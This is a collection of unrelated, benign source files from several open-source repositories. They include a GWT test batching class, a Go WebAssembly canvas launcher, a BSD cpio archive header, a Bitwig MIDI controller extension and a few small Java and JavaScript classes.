<reponame>TeamSPoon/CYC_JRTL_with_CommonLisp_OLD /* * Copyright 2009 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ package com.google.gwt.junit; import com.google.gwt.junit.client.impl.JUnitHost.TestInfo; import java.util.ArrayList; import java.util.List; import java.util.Set; /** * Strategy that batches all tests belonging to one module. */ class ModuleBatchingStrategy extends BatchingStrategy { @Override public List<TestInfo[]> getTestBlocks(String syntheticModuleName) { Set<TestInfo> allTestsInModule = getTestsForModule(syntheticModuleName); List<TestInfo[]> testBlocks = new ArrayList<TestInfo[]>(); if (allTestsInModule.size() > 0) { TestInfo[] testBlock = allTestsInModule.toArray(new TestInfo[allTestsInModule.size()]); testBlocks.add(testBlock); } return testBlocks; } @Override public boolean isSingleTestOnly() { return false; } @Override protected int getTimeoutMultiplier() { return 4; } }
mokiat/lacking-js
app/window.go
<gh_stars>0 //go:build js && wasm package app import ( "fmt" "syscall/js" "github.com/mokiat/lacking/app" "github.com/mokiat/lacking/log" "github.com/mokiat/wasmgl" ) // Run starts a new application by attaching to the specified in the config // HTML canvas element. The configuration is used to determine how the // canvas is further initialized. // // The specified controller will be used to send notifications // on window state changes. func Run(cfg *Config, controller app.Controller) error { htmlDocument := js.Global().Get("document") if htmlDocument.IsUndefined() { return fmt.Errorf("could not locate document element") } htmlCanvas := htmlDocument.Call("getElementById", cfg.canvasID) if htmlCanvas.IsNull() { return fmt.Errorf("could not locate canvas element") } if cfg.title != nil { htmlDocument.Set("title", *cfg.title) } if cfg.fullscreen { htmlBody := htmlDocument.Get("body") bodyWidth := htmlBody.Get("clientWidth").Int() bodyHeight := htmlBody.Get("clientHeight").Int() htmlCanvas.Set("width", bodyWidth) htmlCanvas.Set("height", bodyHeight) } else { if cfg.width != nil { htmlCanvas.Set("width", *cfg.width) } if cfg.height != nil { htmlCanvas.Set("height", *cfg.height) } } // TODO: Make graphics library configurable err := wasmgl.InitFromCanvas(htmlCanvas, wasmgl.WithOptionPowerPreference(wasmgl.PowerPreferenceHighPerformance), ) if err != nil { return fmt.Errorf("error initializing webgl: %w", err) } for _, ext := range cfg.glExtensions { if wasmgl.GetExtension(ext) == nil { log.Warn("[app] Extension %q might not be supported", ext) } } l := newLoop(htmlDocument, htmlCanvas, controller) return l.Run() }
ducis/operating-system-labs
sr/lsri/commands/pax/cpio.h
/*- * Copyright (c) 1992 <NAME>. * Copyright (c) 1992, 1993 * The Regents of the University of California. All rights reserved. * * This code is derived from software contributed to Berkeley by * <NAME> of the University of California, San Diego. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)cpio.h 8.1 (Berkeley) 5/31/93 * $FreeBSD: src/bin/pax/cpio.h,v 1.7 2004/04/06 20:06:48 markm Exp $ */ /* * Defines common to all versions of cpio */ #define TRAILER "TRAILER!!!" /* name in last archive record */ /* * Header encoding of the different file types */ #define C_ISDIR 040000 /* Directory */ #define C_ISFIFO 010000 /* FIFO */ #define C_ISREG 0100000 /* Regular file */ #define C_ISBLK 060000 /* Block special file */ #define C_ISCHR 020000 /* Character special file */ #define C_ISCTG 0110000 /* Reserved for contiguous files */ #define C_ISLNK 0120000 /* Reserved for symbolic links */ #define C_ISOCK 0140000 /* Reserved for sockets */ #define C_IFMT 0170000 /* type of file */ /* * Data Interchange Format - Extended cpio header format - POSIX 1003.1-1990 */ typedef struct { char c_magic[6]; /* magic cookie */ char c_dev[6]; /* device number */ char c_ino[6]; /* inode number */ char c_mode[6]; /* file type/access */ char c_uid[6]; /* owners uid */ char c_gid[6]; /* owners gid */ char c_nlink[6]; /* # of links at archive creation */ char c_rdev[6]; /* block/char major/minor # */ char c_mtime[11]; /* modification time */ char c_namesize[6]; /* length of pathname */ char c_filesize[11]; /* length of file in bytes */ } HD_CPIO; #define MAGIC 070707 /* transportable archive id */ #ifdef _PAX_ #define AMAGIC "070707" /* ascii equivalent string of MAGIC */ #define CPIO_MASK 0x3ffff /* bits valid in the dev/ino fields */ /* used for dev/inode remaps */ #endif /* _PAX_ */ /* * Binary cpio header structure * * CAUTION! CAUTION! CAUTION! * Each field really represents a 16 bit short (NOT ASCII). Described as * an array of chars in an attempt to improve portability!! */ typedef struct { u_char h_magic[2]; u_char h_dev[2]; u_char h_ino[2]; u_char h_mode[2]; u_char h_uid[2]; u_char h_gid[2]; u_char h_nlink[2]; u_char h_rdev[2]; u_char h_mtime_1[2]; u_char h_mtime_2[2]; u_char h_namesize[2]; u_char h_filesize_1[2]; u_char h_filesize_2[2]; } HD_BCPIO; #ifdef _PAX_ /* * extraction and creation macros for binary cpio */ #define SHRT_EXT(ch) ((((unsigned)(ch)[0])<<8) | (((unsigned)(ch)[1])&0xff)) #define RSHRT_EXT(ch) ((((unsigned)(ch)[1])<<8) | (((unsigned)(ch)[0])&0xff)) #define CHR_WR_0(val) ((char)(((val) >> 24) & 0xff)) #define CHR_WR_1(val) ((char)(((val) >> 16) & 0xff)) #define CHR_WR_2(val) ((char)(((val) >> 8) & 0xff)) #define CHR_WR_3(val) ((char)((val) & 0xff)) /* * binary cpio masks and pads */ #define BCPIO_PAD(x) ((2 - ((x) & 1)) & 1) /* pad to next 2 byte word */ #define BCPIO_MASK 0xffff /* mask for dev/ino fields */ #endif /* _PAX_ */ /* * System VR4 cpio header structure (with/without file data crc) */ typedef struct { char c_magic[6]; /* magic cookie */ char c_ino[8]; /* inode number */ char c_mode[8]; /* file type/access */ char c_uid[8]; /* owners uid */ char c_gid[8]; /* owners gid */ char c_nlink[8]; /* # of links at archive creation */ char c_mtime[8]; /* modification time */ char c_filesize[8]; /* length of file in bytes */ char c_maj[8]; /* block/char major # */ char c_min[8]; /* block/char minor # */ char c_rmaj[8]; /* special file major # */ char c_rmin[8]; /* special file minor # */ char c_namesize[8]; /* length of pathname */ char c_chksum[8]; /* 0 OR CRC of bytes of FILE data */ } HD_VCPIO; #define VMAGIC 070701 /* sVr4 new portable archive id */ #define VCMAGIC 070702 /* sVr4 new portable archive id CRC */ #ifdef _PAX_ #define AVMAGIC "070701" /* ascii string of above */ #define AVCMAGIC "070702" /* ascii string of above */ #define VCPIO_PAD(x) ((4 - ((x) & 3)) & 3) /* pad to next 4 byte word */ #define VCPIO_MASK 0xffffffff /* mask for dev/ino fields */ #endif /* _PAX_ */
helmasur/bitwig-extensions
src/main/java/com/bitwig/extensions/controllers/akai/advance/AdvanceControllerExtension.java
<reponame>helmasur/bitwig-extensions package com.bitwig.extensions.controllers.akai.advance; import com.bitwig.extension.controller.ControllerExtension; import com.bitwig.extension.controller.api.ControllerHost; import com.bitwig.extension.controller.api.CursorRemoteControlsPage; import com.bitwig.extension.controller.api.CursorTrack; import com.bitwig.extension.controller.api.MidiIn; import com.bitwig.extension.controller.api.MidiOut; import com.bitwig.extension.controller.api.NoteInput; import com.bitwig.extension.controller.api.PinnableCursorDevice; import com.bitwig.extension.controller.api.RemoteControl; public class AdvanceControllerExtension extends ControllerExtension { public AdvanceControllerExtension( final AdvanceControllerExtensionDefinition definition, final ControllerHost host) { super(definition, host); } @Override public void init() { final ControllerHost host = getHost(); mMidiIn = host.getMidiInPort(0); mMidiIn.setMidiCallback(this::onMiniIn); mMidiIn.setSysexCallback(this::onSysexIn); mKeyboardInput = mMidiIn.createNoteInput("Keyboard", "80????", "90????", "B001??", "B00B??", "B040??", "D0????", "E0????"); mKeyboardInput.setShouldConsumeEvents(true); mPadInput = mMidiIn.createNoteInput("Pads", "89????", "99????", "B901??", "B90B??", "B940??", "D9????", "E9????"); mPadInput.setShouldConsumeEvents(true); mMidiOut = host.getMidiOutPort(0); mCursorTrack = host.createCursorTrack("0", "Akai Advance", 0, 0, true); mCursorDevice = mCursorTrack.createCursorDevice(); mRemoteControls = mCursorDevice.createCursorRemoteControlsPage(8); for (int i = 0; i < 8; ++i) { final RemoteControl parameter = mRemoteControls.getParameter(i); parameter.setIndication(true); } } @Override public void exit() { } @Override public void flush() { } private void onMiniIn(final int status, final int data1, final int data2) { int channel = status & 0xF; int msg = status >> 4; //getHost().println("MIDI IN, msg: " + msg + " channel: " + channel + ", data1: " + data1 + ", data2: " + data2); switch (msg) { case 11: { if (50 <= data1 && data1 < 58) { int index = data1 - 50; int inc = data2 < 64 ? data2 : (data2 - 128); double scaledInc = inc / 128.0f; mRemoteControls.getParameter(index).inc(scaledInc); } } } } private void onSysexIn(final String sysex) { getHost().println("got sysex: " + sysex); } private MidiIn mMidiIn; private MidiOut mMidiOut; private NoteInput mKeyboardInput; private NoteInput mPadInput; private CursorTrack mCursorTrack; private PinnableCursorDevice mCursorDevice; private CursorRemoteControlsPage mRemoteControls; }
judypol/jshcem
webcore/src/main/java/com/shcem/webcore/permission/LoginInfo.java
<reponame>judypol/jshcem<gh_stars>0 /* ======================================== * System Name  :化交线上平台 * SubSystem Name :化交站点核心工具集 * File Name: Constants * ---------------------------------------- * Create Date/Change History * ---------------------------------------- * 2017/10/20  lizhihua Create * * * ---------------------------------------- * Copyright (c) SCEM . All rights reserved. */ package com.shcem.webcore.permission; import java.util.ArrayList; import java.util.List; /** * @author lizhihua * @version 1.0 */ public class LoginInfo { String loginName; String userCode; String userName; List<String> permissions; List<String> roles; String platform; String project; public String getLoginName() { return loginName; } public void setLoginName(String loginName) { this.loginName = loginName; } public List<String> getPermissions() { return permissions==null?new ArrayList<String>():permissions; } public void setPermissions(List<String> permissions) { this.permissions = permissions; } public List<String> getRoles() { return roles==null?new ArrayList<String>():roles; } public void setRoles(List<String> roles) { this.roles = roles; } public String getPlatform() { return platform; } public void setPlatform(String platform) { this.platform = platform; } public String getProject() { return project; } public void setProject(String project) { this.project = project; } public String getUserCode() { return userCode; } public void setUserCode(String userCode) { this.userCode = userCode; } public String getUserName() { return userName; } public void setUserName(String userName) { this.userName = userName; } }
nerdfiles/ng-amd-microservices-seed
client/app/component/window/index.js
// ./client/app/component/window/index.js /** * @ngdoc overview * @name app.core.window:index * @description Dynamic window setting on window. */ function windowSpec (__interface__) { 'use strict'; /** * @function WindowSpecController * @param $scope * @param $rootScope * @returns {*} undefined */ function WindowSpecController ($scope, $rootScope) { var defaultIcon = '🖼'; var sep = $scope.vm.sep = ' '; $scope.vm.prefix = $scope.vm.title.icon || defaultIcon; $rootScope.windowTitle = ($scope.vm.prefix + sep + $scope.vm.title.content); $scope.$watch('vm.title.content', function (newVal, oldVal) { if (newVal === oldVal) { return; } if (newVal) { $rootScope.windowTitle = newVal; } }); } var component = { templateUrl : 'assets/app/component/window/index.html', controller : ['$scope', '$rootScope', WindowSpecController], controllerAs : 'vm', bindToController : true, bindings : { title: '=' } }; /** * @ngdoc interface * @memberOf app.core.window * @name windowSpec */ __interface__ .component('windowSpec', component); } define(['interface'], windowSpec);
skiff-org/prosemirror-tables
src/columnsTypes/types/Number.js
import { parseTextToNumber } from '../utils'; import CellDataType from './Type'; class NumberCellType extends CellDataType { convertContent(cell, convertFromType) { return parseTextToNumber(cell.textContent) } } export default NumberCellType;
EvanQuan/CheeseQuest2
src/main/java/game/system/save/InvalidSaveNameException.java
<gh_stars>0 package game.system.save; /** * Save name cannot contain invalid file name characters */ public class InvalidSaveNameException extends Exception { private static final long serialVersionUID = 1L; }